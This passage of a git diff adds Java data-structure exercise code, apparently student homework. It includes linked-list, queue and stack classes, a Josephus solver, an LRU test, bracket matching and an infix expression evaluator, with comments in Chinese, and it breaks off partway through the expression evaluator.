diff --git a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..c4645c6869
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,57 @@
+package com.coding.basic.linklist;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+	}
+	
+	@Test
+	public void testAccessCustom() {
+		LRUPageFrame frame = new LRUPageFrame(5);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		frame.access(5);
+		frame.access(3);
+		Assert.assertEquals("3,5,1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,3,5,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,3,5,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,3,5,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2,5,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2,5,1", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3,2,5", frame.toString());
+		frame.access(5);
+		Assert.assertEquals("5,4,0,3,2", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,5,4,0,3", frame.toString());
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java
new file mode 100644
index 0000000000..b6f57e977d
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java
@@ -0,0 +1,402 @@
+package com.coding.basic.linklist;
+
+
+import java.util.NoSuchElementException;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class LinkedList implements List {
+
+    private Node head;
+    private int size;
+
+    public void add(Object o) {
+        Node newNode = new Node(o, null);
+        if (head == null) {
+            head = newNode;
+        } else {
+            Node tmp = head;
+            while (tmp.next != null) {
+                tmp = tmp.next;
+            }
+            tmp.next = newNode;
+        }
+        size++;
+    }
+
+    public void add(int index, Object o) {
+        checkMinBound(index);
+        checkMaxBound(index, size);
+        Node newNode = new Node(o, null);
+        if (index == 0) {
+            newNode.next = head;
+            head = newNode;
+        } else {
+            int pos = 1;
+            Node tmp = head;
+            while (pos != index) {
+                tmp = tmp.next;
+                pos++;
+            }
+            newNode.next = tmp.next;
+            tmp.next = newNode;
+        }
+        size++;
+
+    }
+
+    private void checkMinBound(int index) {
+        if (index < 0) {
+            throw new IllegalArgumentException();
+        }
+    }
+
+    private void checkMaxBound(int index, int max) {
+        if (index > max) {
+            throw new IndexOutOfBoundsException();
+        }
+    }
+
+
+    public Object get(int index) {
+        checkMinBound(index);
+        checkMaxBound(index, size - 1);
+        Node cur = head;
+        if (index != 0) {
+            int pos = 0;
+            do {
+                cur = cur.next;
+                pos++;
+            } while (pos != index);
+        }
+        return cur.data;
+    }
+
+    public Object remove(int index) {
+        checkMinBound(index);
+        checkMaxBound(index, size - 1);
+        Node cur = head;
+        if (index == 0) {
+            head = cur.next;
+        } else {
+            int pos = 1;
+            Node prev = cur;
+            while (pos != index) {
+                prev = prev.next;
+                pos++;
+            }
+            cur = prev.next;
+            prev.next = cur.next;
+        }
+        size--;
+        return cur.data;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    public void addFirst(Object o) {
+        Node newNode = new Node(o, null);
+        newNode.next = head;
+        head = newNode;
+        size++;
+    }
+
+    public void addLast(Object o) {
+        Node newNode = new Node(o, null);
+        if (head == null) {
+            head = newNode;
+        } else {
+            Node tmp = head;
+            while (tmp.next != null) {
+                tmp = tmp.next;
+            }
+            tmp.next = newNode;
+        }
+        size++;
+    }
+
+    public Object removeFirst() {
+        if (head == null) {
+            throw new NoSuchElementException();
+        }
+        Node ret = head;
+        head = head.next;
+        size--;
+        return ret.data;
+    }
+
+    public Object removeLast() {
+        if (head == null) {
+            throw new NoSuchElementException();
+        }
+        Node ret;
+        if (head.next == null) {
+            ret = head;
+            head = null;
+        } else {
+            Node prev = head;
+            ret = head.next;
+            while (ret.next != null) {
+                prev = ret;
+                ret = ret.next;
+            }
+            prev.next = null;
+        }
+        size--;
+        return ret.data;
+    }
+
+    public Iterator iterator() {
+        return null;
+    }
+
+
+    private static class Node {
+        Object data;
+        Node next;
+
+        public Node(Object data, Node next) {
+            this.data = data;
+            this.next = next;
+        }
+
+    }
+
+    /**
+     * 把该链表逆置
+     * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+     */
+    public void reverse() {
+    	if(size == 0 || size == 1){
+    		return ;
+    	}
+    	Node node = head;
+    	Node nextNode = head.next;
+    	Node tmp;
+    	node.next = null;
+    	do{
+    		tmp = nextNode.next;
+    		nextNode.next = node;
+    		node = nextNode;
+    		nextNode = tmp;
+    	}while(nextNode != null);
+    	head = node;
+    }
+
+    /**
+     * 删除一个单链表的前半部分
+     * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+     * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+     */
+    public void removeFirstHalf() {
+    	if(size == 0 || size == 1){
+    		return ;
+    	}
+    	int num = size / 2;
+    	size -= num;
+    	Node node = head;
+    	while(num > 0){
+    		node = node.next;
+    		num--;
+    	}
+    	head = node;
+    }
+    
+    /**
+     * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+     *
+     * @param i
+     * @param length
+     */
+    public void remove(int i, int length) {
+    	checkMinBound(i);
+    	checkMaxBound(i + length, size);
+    	Node prev = null;
+    	Node node = head;
+    	int index = 0;
+    	while(index < i){
+    		prev = node;
+    		node = node.next;
+    		index++;
+    	}
+    	Node nextNode = node.next;
+    	while(index < (i + length - 1)){
+    		nextNode = nextNode.next;
+    		index++;
+    	}
+    	size -= length;
+    	if(i == 0){
+    		head = nextNode;
+    	}else{
+    		prev.next = nextNode;
+    		head = prev;
+    	}
+    }
+
+    /**
+     * 假定当前链表和list均包含已升序排列的整数
+     * 从当前链表中取出那些list所指定的元素
+     * 例如当前链表 = 11->101->201->301->401->501->601->701
+     * listB = 1->3->4->6
+     * 返回的结果应该是[101,301,401,601]
+     *
+     * @param list
+     */
+    public int[] getElements(LinkedList list) {
+    	int[] ret = new int[list.size()];
+    	if(ret.length == 0){
+    		return ret;
+    	}
+    	int index;
+    	int j = 0;
+    	Node node = head;
+    	for(int i=0;i<list.size();i++){
+    		index = (int)list.get(i);
+    		while(j < index){
+    			node = node.next;
+    			if(node == null){
+    				throw new IndexOutOfBoundsException();
+    			}
+    			j++;
+    		}
+    		ret[i] = (int)node.data;
+    	}
+    	return ret;
+    }
+
+    /**
+     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 从当前链表中中删除在list中出现的元素
+     *
+     * @param list
+     */
+
+    public void subtract(LinkedList list) {
+    	if(size == 0){
+    		return ;
+    	}
+    	Node prev = null;
+    	Node node = head;
+    	int data;
+    	for(int i=0;i<list.size();i++){
+    		data = (int)list.get(i);
+    		do{
+    			if(data == (int)node.data){
+    				if(prev == null){
+    					head = node.next;
+    				}else{
+    					prev.next = node.next;
+    				}
+    				size--;
+    				node = node.next;
+    				break;
+    			}
+    			prev = node;
+    		}while((node = node.next) != null);
+    	}
+    }
+
+    /**
+     * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+     */
+    public void removeDuplicateValues() {
+    	if(size == 0 || size == 1){
+    		return ;
+    	}
+    	Node node = head;
+    	Node next = node.next;
+    	do{
+    		if((int)node.data == (int)next.data){
+    			node.next = next.next;
+    			size--;
+    		}else{
+    			node = node.next;
+    		}
+    		next = next.next;
+    	}while(next != null);
+    }
+
+    /**
+     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+     *
+     * @param min
+     * @param max
+     */
+    public void removeRange(int min, int max) {
+    	Node prev = null;
+    	Node node = head;
+    	boolean foundMin = false;
+    	do{
+    		if(!foundMin && (int)node.data > min){
+    			foundMin = true;
+    		}
+    		if(foundMin && (int)node.data > max){
+    			break;
+    		}
+    		if(foundMin == false){
+    			prev = node;
+    		}else{
+    			size -= 1;
+    		}
+    		node = node.next;
+    	}while(node != null);
+    	if(prev == null){
+    		head = node;
+    	}else{
+    		prev.next = node;
+    	}
+    }
+
+    /**
+     * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+     * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+     *
+     * @param list
+     */
+    public LinkedList intersection(LinkedList list) {
+    	LinkedList ret = new LinkedList();
+    	Node node = head;
+    	int nodeValue;
+    	int elementValue;
+    	for(int i=0;i<list.size();i++){
+    		nodeValue = (int)node.data;
+    		elementValue = (int)list.get(i);
+    		if(nodeValue == elementValue){
+    			ret.add(nodeValue);
+    		}else if(nodeValue < elementValue){
+    			node = node.next;
+    			while(node != null){
+    				nodeValue = (int)node.data;
+    				if(nodeValue == elementValue){
+    					ret.add(nodeValue);
+    					node = node.next;
+    					break;
+    				}else if(nodeValue > elementValue){
+    					break;
+    				}
+    				node = node.next;
+    			}
+    		}
+    	}
+        return ret;
+    }
+    
+    public String toString(){
+    	Node node = head;
+    	StringBuilder sb = new StringBuilder();
+    	if(node == null){
+    		return "";
+    	}else{
+    		sb.append(head.data);
+    		while((node = node.next) != null){
+    			sb.append(",").append(node.data);
+    		}
+    		return sb.toString();
+    	}
+    }
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/CircleQueue.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..eeed686419
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/queue/CircleQueue.java
@@ -0,0 +1,57 @@
+package com.coding.basic.queue;
+
+/**
+ * 用数组实现循环队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class CircleQueue <E> {
+	
+	private final static int DEFAULT_SIZE = 10;
+	
+	//用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE] ;
+	
+	private int maxSize = DEFAULT_SIZE;
+	
+	//队头
+	private int front = 0;  
+	//队尾  
+	private int rear = 0;
+	
+	public CircleQueue(int maxSize){
+		elementData = new Object[maxSize];
+		this.maxSize = maxSize;
+	}
+	
+	public boolean isEmpty() {
+		return rear == front;
+        
+    }
+
+    public int size() {
+        return rear - front;
+    }
+
+    
+
+    public void enQueue(E data) {
+        if((rear+1)%maxSize == front){
+        	throw new FullQueueException();
+        }
+        elementData[rear] = data;
+        rear = (rear + 1) % maxSize;
+    }
+
+    public E deQueue() {
+    	if(rear == front){
+    		throw new EmptyQueueException();
+    	}
+    	E data = (E)elementData[front];
+    	elementData[front] = null;
+    	front = (front + 1) % maxSize;
+        return data;
+    }
+    
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/EmptyQueueException.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/EmptyQueueException.java
new file mode 100644
index 0000000000..925c9de7ec
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/queue/EmptyQueueException.java
@@ -0,0 +1,14 @@
+package com.coding.basic.queue;
+
+public class EmptyQueueException extends RuntimeException {
+	
+	private static final long serialVersionUID = 7013504079461713464L;
+
+	public EmptyQueueException() {
+        super();
+    }
+	
+	public EmptyQueueException(String message) {
+        super(message);
+    }
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/FullQueueException.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/FullQueueException.java
new file mode 100644
index 0000000000..96cc1ab4fb
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/queue/FullQueueException.java
@@ -0,0 +1,14 @@
+package com.coding.basic.queue;
+
+public class FullQueueException extends RuntimeException {
+	
+	private static final long serialVersionUID = 5782713639805661798L;
+
+	public FullQueueException() {
+        super();
+    }
+	
+	public FullQueueException(String message) {
+        super(message);
+    }
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/Josephus.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/Josephus.java
new file mode 100644
index 0000000000..8400d503b4
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/queue/Josephus.java
@@ -0,0 +1,32 @@
+package com.coding.basic.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){
+		List<Integer> numbers = new ArrayList<>();
+		CircleQueue<Integer> queue = new CircleQueue<>(n+1);
+		for(int i=0;i<n;i++){
+			queue.enQueue(i);
+		}
+		while(!queue.isEmpty()){
+			int i = 1;
+			while(i < m){
+				Integer num = queue.deQueue();
+				queue.enQueue(num);
+				i++;
+			}
+			numbers.add(queue.deQueue());
+		}
+		return numbers;
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/JosephusTest.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/JosephusTest.java
new file mode 100644
index 0000000000..5a15ea8f84
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/queue/JosephusTest.java
@@ -0,0 +1,28 @@
+package com.coding.basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		Assert.assertEquals("[1, 2, 0]", Josephus.execute(3, 5).toString());
+		
+	}
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/Queue.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/Queue.java
new file mode 100644
index 0000000000..c4c4b7325e
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/queue/Queue.java
@@ -0,0 +1,61 @@
+package com.coding.basic.queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..d56e7b97ff
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,54 @@
+package com.coding.basic.queue;
+
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+   
+    
+
+    public boolean isEmpty() {
+        return stack1.size() == 0;
+    }
+
+
+    
+    public int size() {
+        return stack1.size();   
+    }
+
+
+
+    public void enQueue(E item) {
+        stack1.push(item);
+    }
+
+    public E deQueue() {
+    	while(!stack1.isEmpty()){
+    		stack2.push(stack1.pop());
+    	}
+    	E data = stack2.pop();
+    	while(!stack2.isEmpty()){
+    		stack1.push(stack2.pop());
+    	}
+        return data;
+    }
+
+
+
+ }
+
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/QuickMinStack.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/QuickMinStack.java
new file mode 100644
index 0000000000..a04191da19
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/QuickMinStack.java
@@ -0,0 +1,45 @@
+package com.coding.basic.stack;
+
+import java.util.Arrays;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author liuxin
+ *
+ */
+public class QuickMinStack {
+	
+	int[] datas = new int[10];
+	int size;
+	int minIndex;
+	
+	public void push(int data){
+		checkAndresize();
+		datas[size] = data;
+		if(datas[minIndex] > data){
+			minIndex = size;
+		}
+		size++;
+	}
+	
+	public int pop(){
+		checkOutBound();
+		return datas[size-1];
+	}
+	public int findMin(){
+		checkOutBound();
+		return datas[minIndex];
+	}
+	
+	private void checkAndresize() {
+		if(size == datas.length){
+			datas = Arrays.copyOf(datas, datas.length*2);
+		}
+	}
+	private void checkOutBound(){
+		if(size <= 0){
+			throw new IndexOutOfBoundsException();
+		}
+	}
+}
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/Stack.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/Stack.java
new file mode 100644
index 0000000000..58a4846f2b
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/Stack.java
@@ -0,0 +1,47 @@
+package com.coding.basic.stack;
+
+import java.util.EmptyStackException;
+
+import com.coding.basic.array.ArrayList;
+
+public class Stack {
+    private ArrayList elementData = new ArrayList();
+
+    public void push(Object o) {
+        elementData.add(o);
+    }
+
+    public Object pop() {
+        checkBound();
+        return elementData.remove(size() - 1);
+    }
+
+    public Object peek() {
+        checkBound();
+        return elementData.get(size() - 1);
+    }
+
+    public boolean isEmpty() {
+        return size() == 0;
+    }
+
+    public int size() {
+        return elementData.size();
+    }
+
+    private void checkBound() {
+        if (isEmpty()) {
+            throw new EmptyStackException();
+        }
+    }
+    
+    public String toString(){
+    	StringBuilder sb = new StringBuilder();
+    	for(int i=0;i<elementData.size();i++){
+    		sb.append(elementData.get(i));
+    		if(i < elementData.size() - 1)
+    			sb.append(",");
+    	}
+    	return sb.toString();
+    }
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/StackUtil.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..53175a670f
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,111 @@
+package com.coding.basic.stack;
+
+public class StackUtil {
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+		Stack tmp = new Stack();
+//		Stack tmp1 = new Stack();
+//		while(!s.isEmpty())
+//			tmp.push(s.pop());
+//		while(!tmp.isEmpty())
+//			tmp1.push(tmp.pop());
+//		while(!tmp1.isEmpty())
+//			s.push(tmp1.pop());
+		/**
+		 * 改正
+		 */
+		int len = s.size();
+		for(int i=0;i<len;i++){
+			Integer top = (Integer)s.pop();
+			while(s.size() > i) {
+				tmp.push(s.pop());
+			}
+			s.push(top);
+			while(tmp.size() > 0){
+				s.push(tmp.pop());
+			}
+		}
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		Stack tmp = new Stack();
+		boolean found = false;
+		while(!s.isEmpty() && !found){
+			Object obj = s.pop();
+			if(obj == o){
+				found = true;
+			}else{
+				tmp.push(obj);
+			}
+		}
+		while(!tmp.isEmpty())
+			s.push(tmp.pop());
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		Object[] objs = new Object[len];
+		if(s.isEmpty() || len == 0)
+			return objs;
+		int i = 0;
+		while(i < len && !s.isEmpty()){
+			objs[i++] = s.pop();
+		}
+		for(i=objs.length-1;i>=0;i--)
+			s.push(objs[i]);
+		return objs;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * 
+	 * ( 40  ) 41 [ 91 ] 93 {123 }125
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		if(s == null || s.length() == 0)
+			return true;
+		Stack stack = new Stack();
+		char[] chars = s.toCharArray();
+		for(int i=0;i<chars.length;i++){
+			char tmp = chars[i];
+			if(tmp == 40 || tmp == 91 || tmp == 123){
+				stack.push(tmp);
+				continue;
+			}else if(tmp == 41){
+				if(tmp-1 == (char)stack.peek()){
+					stack.pop();
+				}else{
+					return false;
+				}
+			}else if(tmp == 93 || tmp == 125){
+				if(tmp-2 == (char)stack.peek()){
+					stack.pop();
+				}else{
+					return false;
+				}
+			}
+		}
+		return stack.size() == 0;
+	}
+	
+	
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/StackWithTwoQueues.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..35ff5f88a6
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/StackWithTwoQueues.java
@@ -0,0 +1,34 @@
+package com.coding.basic.stack;
+
+import java.util.LinkedList;
+import java.util.Queue;
+
+public class StackWithTwoQueues {
+	
+	Queue<Integer> queue1 = new LinkedList<Integer>();
+	Queue<Integer> queue2 = new LinkedList<Integer>();
+
+    public void push(int data) {       
+    	queue1.add(data);
+    }
+
+    public int pop() {
+    	while(queue1.size() > 1){
+    		queue2.add(queue1.poll());
+    	}
+    	queue1.addAll(queue2);
+        return queue1.poll();
+    }
+    
+    public static void main(String[] args) {
+    	StackWithTwoQueues s = new StackWithTwoQueues();
+    	for (int i = 0; i < 5; i++) {
+			s.push(i);
+		}
+    	System.out.println(s.pop());
+    	System.out.println(s.pop());
+    	System.out.println(s.pop());
+    	System.out.println(s.pop());
+	}
+    
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/TwoStackInOneArray.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..2173d65b5a
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/TwoStackInOneArray.java
@@ -0,0 +1,108 @@
+package com.coding.basic.stack;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @author liuxin
+ *
+ */
+public class TwoStackInOneArray {
+	Object[] data = new Object[10];
+	int front;
+	int rear;
+	
+	/**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(Object o){
+		checkInBound();
+		data[front++] = o;
+	}
+	
+	/**
+	 * 从第一个栈中弹出元素
+	 * @return
+	 */
+	public Object pop1(){
+		checkOutBound(front);
+		Object o = data[--front];
+		data[front] = null;
+		return o;
+	}
+	
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek1(){
+		checkOutBound(front);
+		return data[front-1];
+	}
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o){
+		checkInBound();
+		data[data.length-rear-1] = o;
+		rear++;
+	}
+	/**
+	 * 从第二个栈弹出元素
+	 * @return
+	 */
+	public Object pop2(){
+		checkOutBound(rear);
+		int index = data.length-rear;
+		Object o = data[index];
+		data[index] = null;
+		rear--;
+		return o;
+	}
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek2(){
+		checkOutBound(rear);
+		return data[data.length-rear];
+	}
+	
+	private Object[] resize(int len) {
+		int newLen = len * 2;
+		Object[] newData = new Object[newLen];
+		if(front > 0){
+			System.arraycopy(data, 0, newData, 0, front);
+		}
+		if(rear > 0){
+			System.arraycopy(data, len-rear, newData, newLen-rear, rear);
+		}
+		return newData;
+	}
+	
+	private void checkOutBound(int index){
+		if(index <= 0){
+			throw new IndexOutOfBoundsException();
+		}
+	}
+	
+	private void checkInBound() {
+		if((front+rear) >= data.length){
+			data = resize(data.length);
+		}
+	}
+	
+	public static void main(String[] args) {
+		TwoStackInOneArray t = new TwoStackInOneArray();
+		for(int i=0;i<25;i++){
+			t.push1(i);
+			t.push2(i);
+		}
+		System.out.println(t.front+t.rear);
+		for(int i=0;i<t.data.length;i++){
+			System.out.print(t.data[i]+",");
+		}
+	}
+}
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..eac007bb3e
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,159 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+//		if(expr == null || "".equals(expr)){
+//			return 0;
+//		}
+//		Stack numStack = new Stack();
+//		Stack opStack = new Stack();
+//		String[] ss = expr.split("");
+//		boolean needOper = false;// 需要运算，遇到* / 后置为true
+//		boolean foundOper = true;// 遇到运算符
+//		String ops = "+-*/";
+//		for (int i=0;i<ss.length;i++) {
+//			String s = ss[i];
+//			if(ops.indexOf(s) != -1){
+//				if(needOper){
+//					doMulOrDivOp(numStack, (String)opStack.pop());
+//					needOper = false;
+//				}
+//				opStack.push(s);
+//				foundOper = true;
+//				if("+-".indexOf(s) != -1){
+//					
+//				}else{
+//					needOper = true;
+//				}
+//			}else if(!foundOper){// 未找到运算符前，字符串一直追加
+//				String tmp = "";
+//				Object obj = numStack.pop();
+//				if(obj != null){
+//					tmp = (String)obj;
+//				}
+//				numStack.push(tmp + s);
+//			}else if("1234567890".indexOf(s) != -1){
+//				numStack.push(s);
+//				foundOper = false;
+//			}else{
+//				throw new RuntimeException("InfixExpr not support " + s + " !");
+//			}
+//			if((i == ss.length - 1) && needOper){
+//				doMulOrDivOp(numStack, (String)opStack.pop());
+//			}
+//		}
+//		if(numStack.size() > 1){
+//			doAddOrSubOps(numStack, opStack);
+//		}
+//		return new Float((String)numStack.pop());
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+		
+		
+		Stack<Token> opStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		
+		for(Token token : tokens){
+			
+			if (token.isOperator()){
+				
+				if(opStack.isEmpty()){
+					
+					opStack.push(token);
+				} else{
+					
+					while(!opStack.isEmpty() 
+							&& !token.hasHigherPriority(opStack.peek())){
+						Token prevOperator = opStack.pop();
+						Float f2 = numStack.pop();
+						Float f1 = numStack.pop();
+						Float result = calculate(prevOperator.toString(), f1,f2);
+						numStack.push(result);						
+						
+					}
+					opStack.push(token);
+				}
+			} 
+			if(token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
+			}
+		}
+		
+		while(!opStack.isEmpty()){
+			Token token = opStack.pop();
+			Float f2 = numStack.pop();
+			Float f1 = numStack.pop();
+			numStack.push(calculate(token.toString(), f1,f2));
+		}
+		
+		
+		return numStack.pop().floatValue();
+	}
+	
+	/**
+	 * 多个加减
+	 * @param numStack
+	 * @param opStack
+	 */
+	private void doAddOrSubOps(Stack numStack, Stack opStack) {
+		Stack calStack = new Stack();
+		while(numStack.size() > 1){
+			calStack.push(numStack.pop());
+			calStack.push(opStack.pop());
+		}
+		float num1 = new Float((String)numStack.pop());
+		float num2;
+		while(calStack.size() > 0){
+			String op = (String)calStack.pop();
+			num2 = new Float((String)calStack.pop());
+			if("+".equals(op)){
+				num1 += num2;
+			}else{
